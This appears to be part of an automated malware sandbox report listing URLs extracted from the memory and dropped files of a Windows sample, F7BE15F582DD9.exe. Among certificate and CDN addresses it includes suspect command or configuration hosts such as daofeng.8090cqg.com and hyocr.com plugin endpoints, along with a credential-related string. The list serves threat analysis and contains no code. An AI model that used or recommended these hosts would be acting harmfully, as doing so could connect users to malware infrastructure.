Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0O
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-ha-cs-g1.crl00
Source: A633favQv.sys.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ha-cs-g1.crl0L
Source: F7BE15F582DD9.exe, 00000002.00000002.4572883601.000000000657C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2600289840.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F.sys.2.dr, 4CE0zvyEH.sys.2.dr	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: F7BE15F582DD9.exe, 00000002.00000002.4570092396.000000000636A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csc3-2010-aia.vX
Source: F7BE15F582DD9.exe, 00000002.00000002.4621891774.000000000F0B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cook
Source: F7BE15F582DD9.exe, 00000002.00000002.4652558346.0000000010588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cookCq
Source: 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr, 331FPNNPK.exe.2.dr	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: F7BE15F582DD9.exe, 00000002.00000002.4572991100.0000000006664000.00000004.00000800.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2097012429.0000000006367000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093424452.0000000006368000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093160084.0000000006367000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093967927.0000000006368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CA7000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4584992363.000000000E10C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2097012429.0000000006367000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093424452.0000000006368000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093160084.0000000006367000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2093967927.0000000006368000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/1E
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/B
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/C
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/I
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/J
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/Vn
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/WEw
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/Z
Source: F7BE15F582DD9.exe, 00000002.00000002.4584992363.000000000E10C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/b
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/cG
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/j
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/ll
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/oF_
Source: F7BE15F582DD9.exe, 00000002.00000003.2577168938.0000000006674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/res://ieframe.dll/dnserrordiagoff.htm#http://daofeng.8090cqg.com/Maliciou
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/u
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.com/z
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.comR
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://daofeng.8090cqg.comhttp://zhanhuo4.1Rememberaccountusernameconfigpasswordclientidrandomstrweb
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://dcloud.net.cn/
Source: F7BE15F582DD9.exe, 00000002.00000003.2073071005.0000000006372000.00000004.00000020.00020000.00000000.sdmp, 50C7CA7B7.dll.2.dr	String found in binary or memory: http://dt1.hyocr.com:8080
Source: F7BE15F582DD9.exe, 00000002.00000003.2073071005.0000000006372000.00000004.00000020.00020000.00000000.sdmp, 50C7CA7B7.dll.2.dr	String found in binary or memory: http://dt1.hyocr.com:8080http://dt2.hyocr.com:8080
Source: F7BE15F582DD9.exe, 00000002.00000003.2073071005.0000000006372000.00000004.00000020.00020000.00000000.sdmp, 50C7CA7B7.dll.2.dr	String found in binary or memory: http://dt2.hyocr.com:8080
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://foodmate.net/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://guangzhoucs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://heyuancs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huadongcs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huanancs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huhehaotecs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://iliangcang.com/
Source: F7BE15F582DD9.exe, 00000002.00000003.2074240916.000000000634D000.00000004.00000020.00020000.00000000.sdmp, 6609QLNJK.dll.2.dr	String found in binary or memory: http://ip.qq.com/
Source: F7BE15F582DD9.exe, 00000002.00000003.2074240916.000000000634D000.00000004.00000020.00020000.00000000.sdmp, 6609QLNJK.dll.2.dr	String found in binary or memory: http://ip.qq.com/v1-dll-api.jsdama.com
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://iwencai.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lusongsong.com/
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://ocsp.digicert.com0R
Source: F7BE15F582DD9.exe, 00000002.00000002.4572883601.000000000657C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2600289840.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2688110003.00000000115CD000.00000004.00000020.00020000.00000000.sdmp, F7BE15F.sys.2.dr, 4CE0zvyEH.sys.2.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 50C7CA7B7.dll.2.dr	String found in binary or memory: http://plugin.config.hyocr.com:8080/hyver.php?ver=%d
Source: 50C7CA7B7.dll.2.dr	String found in binary or memory: http://plugin.config.hyocr.com:8080/hyver.php?ver=%d&user=%s
Source: 50C7CA7B7.dll.2.dr	String found in binary or memory: http://plugin.config.hyocr.com:8080/hyver.php?ver=%dhttp://plugin.config.hyocr.com:8080/hyver.php?ve
Source: 50C7CA7B7.dll.2.dr	String found in binary or memory: http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.php
Source: 50C7CA7B7.dll.2.dr	String found in binary or memory: http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.phpupl
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://qingdaocs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://shanghaics.oss-accelerate.aliyuncs.com/
Source: F7BE15F582DD9.exe, 00000002.00000002.4572718478.000000000657A000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4570092396.000000000634C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4570092396.0000000006340000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420815250.00000000115C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sinacloud.net/operate/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://soso.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-nupgrajznn.cn-shanghai.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-wgfgnkosmo.cn-qingdao.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-wivqmpesvz.cn-zhangjiakou.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-xbdcaygxjb.cn-beijing.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-timeget-bkjjdrkcip.cn-hangzhou.fcapp.run
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://tower.im/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://w7000.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://wallstreetcn.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://wulancabucs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.10jqka.com.cn/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.1688.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.17173.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.18183.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.21food.cn/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.58pic.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.64365.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.7k7k.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.9game.cn/
Source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.A3M2.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.GameM2.com
Source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.GeeM2.com
Source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.Haom6.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.Haom6.comhttp://www.GeeM2.comWemade
Source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.LongZuYQ.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.LongZuYQ.comgame
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.aliyun.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.asmag.com.cn/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.asus.com.cn/
